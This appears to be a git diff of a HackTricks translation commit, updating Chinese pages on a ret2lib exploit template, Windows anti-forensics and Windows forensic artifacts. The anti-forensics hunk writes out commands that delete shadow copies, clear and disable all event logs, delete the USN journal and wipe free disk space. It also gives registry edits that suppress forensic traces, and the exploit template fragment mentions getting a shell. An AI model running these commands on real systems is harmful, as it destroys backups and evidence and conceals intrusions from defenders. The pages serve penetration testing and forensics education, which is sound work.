mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
This commit is contained in:
parent
2507b6ebcb
commit
1bd138b9d3
35 changed files with 1413 additions and 927 deletions
|
@ -8,12 +8,16 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% code title="template.py" %}
|
||||
```python
|
||||
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
|
||||
|
@ -202,7 +206,7 @@ P.interactive() #Interact with your shell :)
|
|||
|
||||
### 未找到 MAIN_PLT = elf.symbols\['main']
|
||||
|
||||
如果"main"符号不存在(可能是因为它是一个被剥离了符号信息的二进制文件)。那么你可以找到主代码的位置:
|
||||
如果找不到 "main" 符号(可能是因为它是一个被剥离的二进制文件)。那么你可以找到主代码的位置:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
|
@ -212,7 +216,7 @@ Disassembly of section .text:
|
|||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
### 未找到Puts
|
||||
### Puts未找到
|
||||
|
||||
如果二进制文件没有使用Puts,您应该**检查是否正在使用**
|
||||
|
||||
|
@ -224,16 +228,21 @@ MAIN_PLT = 0x401080
|
|||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,42 +5,46 @@
|
|||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# 时间戳
|
||||
|
||||
攻击者可能有兴趣**更改文件的时间戳**以避免被检测。\
|
||||
可以在MFT中的属性`$STANDARD_INFORMATION`和`$FILE_NAME`中找到时间戳。
|
||||
可以在MFT的属性`$STANDARD_INFORMATION`和`$FILE_NAME`中找到时间戳。
|
||||
|
||||
这两个属性都有4个时间戳:**修改**,**访问**,**创建**和**MFT注册修改**(MACE或MACB)。
|
||||
这两个属性都有4个时间戳:**修改**、**访问**、**创建**和**MFT注册修改**(MACE或MACB)。
|
||||
|
||||
**Windows资源管理器**和其他工具显示来自**`$STANDARD_INFORMATION`**的信息。
|
||||
|
||||
## TimeStomp - 反取证工具
|
||||
|
||||
该工具**修改**了**`$STANDARD_INFORMATION`**中的时间戳信息**但是**没有修改**`$FILE_NAME`**中的信息。因此,可以**识别**出**可疑**的**活动**。
|
||||
该工具**修改**了**`$STANDARD_INFORMATION`**中的时间戳信息**但是**没有修改**`$FILE_NAME`**中的信息。因此,可以**识别**出**可疑活动**。
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
**USN日志**(更新序列号日志)是NTFS(Windows NT文件系统)的一个功能,用于跟踪卷的更改。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)工具允许检查这些更改。
|
||||
**USN日志**(Update Sequence Number Journal)是NTFS(Windows NT文件系统)的一个功能,用于跟踪卷的更改。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)工具允许检查这些更改。
|
||||
|
||||
![](<../../.gitbook/assets/image (449).png>)
|
||||
|
||||
上图是该**工具显示的输出**,可以观察到对文件进行了一些**更改**。
|
||||
上图是该工具显示的**输出**,可以看到对文件进行了一些**更改**。
|
||||
|
||||
## $LogFile
|
||||
|
||||
**文件系统中所有元数据更改都会被记录**,这个过程称为[预写式日志记录](https://en.wikipedia.org/wiki/Write-ahead_logging)。记录的元数据保存在名为`**$LogFile**`的文件中,位于NTFS文件系统的根目录中。可以使用诸如[LogFileParser](https://github.com/jschicht/LogFileParser)之类的工具来解析此文件并识别更改。
|
||||
**文件系统中的所有元数据更改都会被记录**,这个过程称为[预写式日志记录](https://en.wikipedia.org/wiki/Write-ahead_logging)。记录的元数据保存在名为`**$LogFile**`的文件中,位于NTFS文件系统的根目录中。可以使用诸如[LogFileParser](https://github.com/jschicht/LogFileParser)之类的工具来解析此文件并识别更改。
|
||||
|
||||
![](<../../.gitbook/assets/image (450).png>)
|
||||
|
||||
再次,在工具的输出中,可以看到**进行了一些更改**。
|
||||
再次,在工具的输出中可以看到**进行了一些更改**。
|
||||
|
||||
使用相同的工具,可以确定**时间戳何时被修改**:
|
||||
|
||||
|
@ -48,7 +52,7 @@
|
|||
|
||||
* CTIME:文件的创建时间
|
||||
* ATIME:文件的修改时间
|
||||
* MTIME:文件的MFT注册修改时间
|
||||
* MTIME:文件的MFT注册修改
|
||||
* RTIME:文件的访问时间
|
||||
|
||||
## `$STANDARD_INFORMATION`和`$FILE_NAME`比较
|
||||
|
@ -57,17 +61,17 @@
|
|||
|
||||
## 纳秒
|
||||
|
||||
**NTFS**时间戳的**精度**为**100纳秒**。因此,找到时间戳为2010-10-10 10:10:**00.000:0000的文件是非常可疑的**。
|
||||
**NTFS**时间戳的**精度**为**100纳秒**。因此,找到时间戳为2010-10-10 10:10:**00.000:0000的文件非常可疑**。
|
||||
|
||||
## SetMace - 反取证工具
|
||||
|
||||
该工具可以修改`$STARNDAR_INFORMATION`和`$FILE_NAME`两个属性。但是,从Windows Vista开始,需要一个实时操作系统来修改此信息。
|
||||
该工具可以修改`$STARNDAR_INFORMATION`和`$FILE_NAME`两个属性。但是,从Windows Vista开始,需要一个活动的操作系统来修改这些信息。
|
||||
|
||||
# 数据隐藏
|
||||
|
||||
NFTS使用一个簇和最小信息大小。这意味着如果一个文件占用一个半簇,**剩余的一半将永远不会被使用**,直到文件被删除。因此,可以**在这个空闲空间中隐藏数据**。
|
||||
|
||||
有一些工具如slacker允许在这个“隐藏”空间中隐藏数据。然而,对`$logfile`和`$usnjrnl`的分析可以显示添加了一些数据:
|
||||
有一些工具,如slacker,允许在这个“隐藏”空间中隐藏数据。然而,对`$logfile`和`$usnjrnl`的分析可以显示添加了一些数据:
|
||||
|
||||
![](<../../.gitbook/assets/image (452).png>)
|
||||
|
||||
|
@ -76,11 +80,11 @@ NFTS使用一个簇和最小信息大小。这意味着如果一个文件占用
|
|||
# UsbKill
|
||||
|
||||
这是一个工具,如果检测到USB端口发生任何更改,将**关闭计算机**。\
|
||||
发现这一点的方法是检查运行的进程并**查看每个运行的Python脚本**。
|
||||
发现这一点的方法是检查运行中的进程并**审查每个运行的Python脚本**。
|
||||
|
||||
# 实时Linux发行版
|
||||
|
||||
这些发行版是**在RAM内存中执行**的。唯一的检测方法是**如果NTFS文件系统以写权限挂载**。如果只以读权限挂载,将无法检测入侵。
|
||||
这些发行版是**在RAM内存中执行**的。唯一能够检测到它们的方法是**如果NTFS文件系统以写权限挂载**。如果只以读权限挂载,将无法检测到入侵。
|
||||
|
||||
# 安全删除
|
||||
|
||||
|
@ -101,64 +105,65 @@ NFTS使用一个簇和最小信息大小。这意味着如果一个文件占用
|
|||
|
||||
## 禁用时间戳 - Prefetch
|
||||
|
||||
这将保存有关执行的应用程序的信息,目的是提高Windows系统的性能。但是,这也对取证实践有用。
|
||||
这将保存有关执行的应用程序的信息,目的是改善Windows系统的性能。但是,这也对取证实践有用。
|
||||
|
||||
* 执行`regedit`
|
||||
* 选择文件路径`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
* 右键单击`EnablePrefetcher`和`EnableSuperfetch`
|
||||
* 对每个进行修改,将值从1(或3)更改为0
|
||||
* 对每个都选择修改,将值从1(或3)更改为0
|
||||
* 重新启动
|
||||
|
||||
## 禁用时间戳 - 最后访问时间
|
||||
|
||||
每当从Windows NT服务器的NTFS卷上打开文件夹时,系统会花费时间**更新列出的每个文件夹上的时间戳字段**,称为最后访问时间。在使用频繁的NTFS卷上,这可能会影响性能。
|
||||
每当从Windows NT服务器上的NTFS卷中打开文件夹时,系统会花费时间**更新列出的每个文件夹上的一个时间戳字段**,称为最后访问时间。在使用频繁的NTFS卷上,这可能会影响性能。
|
||||
|
||||
1. 打开注册表编辑器(Regedit.exe)。
|
||||
2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。
|
||||
3. 查找`NtfsDisableLastAccessUpdate`。如果不存在,请添加此DWORD并将其值设置为1,以禁用该过程。
|
||||
4. 关闭注册表编辑器,并重新启动服务器。
|
||||
## 删除 USB 历史记录
|
||||
|
||||
## 删除USB历史记录
|
||||
所有的 **USB 设备条目** 都存储在 Windows 注册表中的 **USBSTOR** 注册表键下,其中包含子键,每当您将 USB 设备插入 PC 或笔记本电脑时就会创建。您可以在此处找到此键 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除** 这将删除 USB 历史记录。\
|
||||
您也可以使用工具 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 来确保已删除它们(并删除它们)。
|
||||
|
||||
所有**USB设备条目**都存储在Windows注册表的**USBSTOR**注册表键下,其中包含每次将USB设备插入PC或笔记本电脑时创建的子键。您可以在此处找到此键 H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此**将删除USB历史记录。\
|
||||
您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)确保已删除它们(并删除它们)。
|
||||
|
||||
保存有关USB的信息的另一个文件是`C:\Windows\INF`中的文件`setupapi.dev.log`。这也应该被删除。
|
||||
另一个保存有关 USB 的信息的文件是位于 `C:\Windows\INF` 内的文件 `setupapi.dev.log`。这也应该被删除。
|
||||
|
||||
## 禁用阴影副本
|
||||
|
||||
使用`vssadmin list shadowstorage`**列出**阴影副本\
|
||||
运行`vssadmin delete shadow`**删除**它们
|
||||
使用 `vssadmin list shadowstorage` **列出**阴影副本\
|
||||
运行 `vssadmin delete shadow` **删除**它们
|
||||
|
||||
您还可以按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤通过GUI删除它们。
|
||||
您还可以通过 GUI 删除它们,按照 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) 中提出的步骤进行操作。
|
||||
|
||||
要禁用阴影副本[这里的步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
要禁用阴影副本 [请参考此处的步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. 通过在Windows开始按钮上单击文本搜索框后键入“services”来打开服务程序。
|
||||
2. 从列表中找到“Volume Shadow Copy”,选择它,然后通过右键单击访问属性。
|
||||
3. 从“启动类型”下拉菜单中选择“禁用”,然后通过单击应用和确定来确认更改。
|
||||
1. 通过在点击 Windows 启动按钮后的文本搜索框中键入 "services" 来打开 Services 程序。
|
||||
2. 从列表中找到 "Volume Shadow Copy",选择它,然后通过右键单击访问属性。
|
||||
3. 从 "启动类型" 下拉菜单中选择禁用,然后通过单击应用和确定来确认更改。
|
||||
|
||||
还可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改要复制的文件的配置。
|
||||
还可以在注册表 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` 中修改要复制到阴影副本中的文件的配置。
|
||||
|
||||
## 覆盖已删除的文件
|
||||
|
||||
* 您可以使用一个**Windows工具**:`cipher /w:C` 这将指示cipher从C驱动器中的可用未使用磁盘空间中删除任何数据。
|
||||
* 您还可以使用诸如[**Eraser**](https://eraser.heidi.ie)之类的工具
|
||||
* 您可以使用一个 **Windows 工具**:`cipher /w:C` 这将指示 cipher 从 C 驱动器中的可用未使用磁盘空间中删除任何数据。
|
||||
* 您还可以使用类似 [**Eraser**](https://eraser.heidi.ie) 的工具
|
||||
|
||||
## 删除Windows事件日志
|
||||
## 删除 Windows 事件日志
|
||||
|
||||
* Windows + R --> eventvwr.msc --> 展开“Windows日志” --> 右键单击每个类别并选择“清除日志”
|
||||
* Windows + R --> eventvwr.msc --> 展开 "Windows 日志" --> 右键单击每个类别并选择 "清除日志"
|
||||
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
## 禁用Windows事件日志
|
||||
## 禁用 Windows 事件日志
|
||||
|
||||
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
* 在服务部分禁用服务“Windows事件日志”
|
||||
* 在服务部分内禁用服务 "Windows 事件日志"
|
||||
* `WEvtUtil.exec clear-log` 或 `WEvtUtil.exe cl`
|
||||
|
||||
## 禁用$UsnJrnl
|
||||
## 禁用 $UsnJrnl
|
||||
|
||||
* `fsutil usn deletejournal /d c:`
|
||||
|
||||
</details>
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Windows证据
|
||||
# Windows取证物
|
||||
|
||||
## Windows证据
|
||||
## Windows取证物
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,23 +10,27 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 通用Windows证据
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 通用Windows取证物
|
||||
|
||||
### Windows 10通知
|
||||
|
||||
在路径`\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`中,您可以找到数据库`appdb.dat`(Windows周年更新前)或`wpndatabase.db`(Windows周年更新后)。
|
||||
在路径`\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`中,您可以找到数据库`appdb.dat`(Windows周年更新之前)或`wpndatabase.db`(Windows周年更新之后)。
|
||||
|
||||
在这个SQLite数据库中,您可以找到包含所有通知(以XML格式)的`Notification`表,其中可能包含有趣的数据。
|
||||
|
||||
### 时间轴
|
||||
|
||||
时间轴是Windows的一个特性,提供了访问的**网页**、编辑的文档和执行的应用程序的**时间顺序历史记录**。
|
||||
时间轴是Windows的一个特性,提供了访问的网页、编辑的文档和执行的应用程序的**时间顺序历史记录**。
|
||||
|
||||
数据库位于路径`\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`。可以使用SQLite工具或工具[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)打开此数据库,**该工具生成2个文件,可以使用工具**[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **打开**。
|
||||
|
||||
|
@ -41,7 +45,7 @@
|
|||
在Vista/Win7/Win8/Win10中,**回收站**可以在驱动器根目录(`C:\$Recycle.bin`)中找到。\
|
||||
当在此文件夹中删除文件时,会创建2个特定文件:
|
||||
|
||||
* `$I{id}`:文件信息(删除日期)
|
||||
* `$I{id}`:文件信息(删除时间的日期)
|
||||
* `$R{id}`:文件内容
|
||||
|
||||
![](<../../../.gitbook/assets/image (486).png>)
|
||||
|
@ -60,7 +64,7 @@
|
|||
|
||||
![](<../../../.gitbook/assets/image (520).png>)
|
||||
|
||||
使用 **ArsenalImageMounter** 挂载取证镜像,可以使用工具 [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) 来检查阴影副本,甚至从阴影副本备份中**提取文件**。
|
||||
使用 **ArsenalImageMounter** 挂载取证镜像,可以使用工具 [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) 来检查阴影副本,甚至可以从阴影副本备份中**提取文件**。
|
||||
|
||||
![](<../../../.gitbook/assets/image (521).png>)
|
||||
|
||||
|
@ -87,7 +91,7 @@ Shell 项目是包含有关如何访问另一个文件的信息的项目。
|
|||
|
||||
创建文件夹时,还会创建指向文件夹、父文件夹和祖父文件夹的链接。
|
||||
|
||||
这些自动创建的链接文件**包含有关源文件的信息**,例如它是**文件**还是**文件夹**,该文件的**MAC时间**,文件存储位置的**卷信息**和**目标文件夹**的信息。这些信息可用于在文件被删除时恢复这些文件。
|
||||
这些自动创建的链接文件**包含有关源文件的信息**,例如它是一个**文件**还是一个**文件夹**,该文件的**MAC时间**,文件存储位置的**卷信息**和**目标文件夹**的信息。这些信息可用于在文件被删除时恢复这些文件。
|
||||
|
||||
此外,链接文件的**创建日期**是原始文件**首次使用的时间**,链接文件的**修改日期**是原始文件**最后使用的时间**。
|
||||
|
||||
|
@ -96,17 +100,17 @@ Shell 项目是包含有关如何访问另一个文件的信息的项目。
|
|||
在此工具中,您将找到**2组**时间戳:
|
||||
|
||||
* **第一组:**
|
||||
1. 文件修改日期
|
||||
2. 文件访问日期
|
||||
3. 文件创建日期
|
||||
1. FileModifiedDate
|
||||
2. FileAccessDate
|
||||
3. FileCreationDate
|
||||
* **第二组:**
|
||||
1. 链接修改日期
|
||||
2. 链接访问日期
|
||||
3. 链接创建日期。
|
||||
1. LinkModifiedDate
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate。
|
||||
|
||||
第一组时间戳引用**文件本身的时间戳**。第二组引用**链接文件的时间戳**。
|
||||
|
||||
您可以使用 Windows CLI 工具 [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) 获取相同的信息。
|
||||
您可以通过运行 Windows CLI 工具 [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) 获取相同的信息。
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
|
@ -116,7 +120,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
|||
|
||||
自动创建的**跳转列表**存储在`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`中。跳转列表的命名遵循格式`{id}.autmaticDestinations-ms`,其中初始ID是应用程序的ID。
|
||||
|
||||
自定义跳转列表存储在`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`中,通常是因为应用程序通常发生了**重要**事件(可能标记为收藏)。
|
||||
自定义跳转列表存储在`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`中,它们通常由应用程序创建,通常是因为文件发生了**重要**事件(可能标记为收藏夹)。
|
||||
|
||||
任何跳转列表的**创建时间**表示**文件被访问的第一次时间**,**修改时间表示最后一次时间**。
|
||||
|
||||
|
@ -130,19 +134,19 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
|||
|
||||
[**点击此链接了解什么是shellbags。**](interesting-windows-registry-keys.md#shellbags)
|
||||
|
||||
## 使用Windows USB设备
|
||||
## Windows USB使用
|
||||
|
||||
通过以下方式可以识别是否使用了USB设备:
|
||||
通过以下内容的创建,可以确定已使用USB设备:
|
||||
|
||||
- Windows最近文件夹
|
||||
- Microsoft Office最近文件夹
|
||||
- 跳转列表
|
||||
* Windows最近文件夹
|
||||
* Microsoft Office最近文件夹
|
||||
* 跳转列表
|
||||
|
||||
请注意,有些LNK文件指向WPDNSE文件夹而不是原始路径:
|
||||
|
||||
![](<../../../.gitbook/assets/image (476).png>)
|
||||
|
||||
文件夹WPDNSE中的文件是原始文件的副本,因此在PC重新启动后不会保留,并且GUID是从shellbag中获取的。
|
||||
文件夹WPDNSE中的文件是原始文件的副本,因此不会在PC重新启动后保留,并且GUID是从shellbag中获取的。
|
||||
|
||||
### 注册表信息
|
||||
|
||||
|
@ -150,7 +154,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
|||
|
||||
### setupapi
|
||||
|
||||
检查文件`C:\Windows\inf\setupapi.dev.log`以获取有关USB连接产生的时间戳(搜索`Section start`)。
|
||||
检查文件`C:\Windows\inf\setupapi.dev.log`,以获取有关USB连接产生的时间戳(搜索`Section start`)。
|
||||
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
|
@ -162,7 +166,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
|||
|
||||
### 插拔清理
|
||||
|
||||
名为“插拔清理”的计划任务主要用于删除过时的驱动程序版本。与其指定的保留最新驱动程序包版本的目的相反,在线资源表明它还会针对在过去30天内未连接的驱动程序进行操作。因此,未连接在过去30天内的可移动设备的驱动程序可能会被删除。
|
||||
名为“插拔清理”的计划任务主要用于删除过时的驱动程序版本。与保留最新驱动程序包版本的指定目的相反,在线资源表明它还针对在过去30天内未活动的驱动程序。因此,未连接在过去30天内的可移动设备的驱动程序可能会被删除。
|
||||
|
||||
该任务位于以下路径:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。
|
||||
|
@ -179,16 +183,16 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
|||
|
||||
此配置确保定期维护和清理驱动程序,并提供在连续失败的情况下重新尝试任务的规定。
|
||||
|
||||
**更多信息请查看:**[**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
**更多信息,请查看:**[**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## 电子邮件
|
||||
|
||||
电子邮件包含**2个有趣的部分:邮件头和邮件内容**。在**邮件头**中,您可以找到以下信息:
|
||||
电子邮件包含**2个有趣部分:邮件的标题和内容**。在**标题**中,您可以找到以下信息:
|
||||
|
||||
- **谁**发送了电子邮件(电子邮件地址、IP、重定向电子邮件的邮件服务器)
|
||||
- 电子邮件发送的**时间**
|
||||
* **谁**发送了电子邮件(电子邮件地址、IP、重定向电子邮件的邮件服务器)
|
||||
* 电子邮件发送的**时间**
|
||||
|
||||
此外,在`References`和`In-Reply-To`头中,您可以找到消息的ID:
|
||||
此外,在`References`和`In-Reply-To`标题中,您可以找到消息的ID:
|
||||
|
||||
![](<../../../.gitbook/assets/image (484).png>)
|
||||
|
||||
|
@ -202,34 +206,33 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
|||
|
||||
### Microsoft Outlook
|
||||
|
||||
当使用Exchange服务器或Outlook客户端时,将会有一些MAPI头:
|
||||
当使用Exchange服务器或Outlook客户端时,将会有一些MAPI标题:
|
||||
|
||||
- `Mapi-Client-Submit-Time`:发送电子邮件时的系统时间
|
||||
- `Mapi-Conversation-Index`:线程的子消息数量和每个线程消息的时间戳
|
||||
- `Mapi-Entry-ID`:消息标识符。
|
||||
- `Mappi-Message-Flags`和`Pr_last_Verb-Executed`:有关MAPI客户端的信息(消息已读?未读?已回复?重定向?离开办公室?)
|
||||
* `Mapi-Client-Submit-Time`:发送电子邮件时的系统时间
|
||||
* `Mapi-Conversation-Index`:线程的子消息数量和线程每条消息的时间戳
|
||||
* `Mapi-Entry-ID`:消息标识符。
|
||||
* `Mappi-Message-Flags`和`Pr_last_Verb-Executed`:有关MAPI客户端的信息(消息已读?未读?已回复?重定向?离开办公室?)
|
||||
|
||||
在Microsoft Outlook客户端中,所有发送/接收的消息、联系人数据和日历数据都存储在以下PST文件中:
|
||||
在Microsoft Outlook客户端中,所有已发送/接收的消息、联系人数据和日历数据都存储在以下PST文件中:
|
||||
|
||||
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`(WinXP)
|
||||
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`(WinXP)
|
||||
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
|
||||
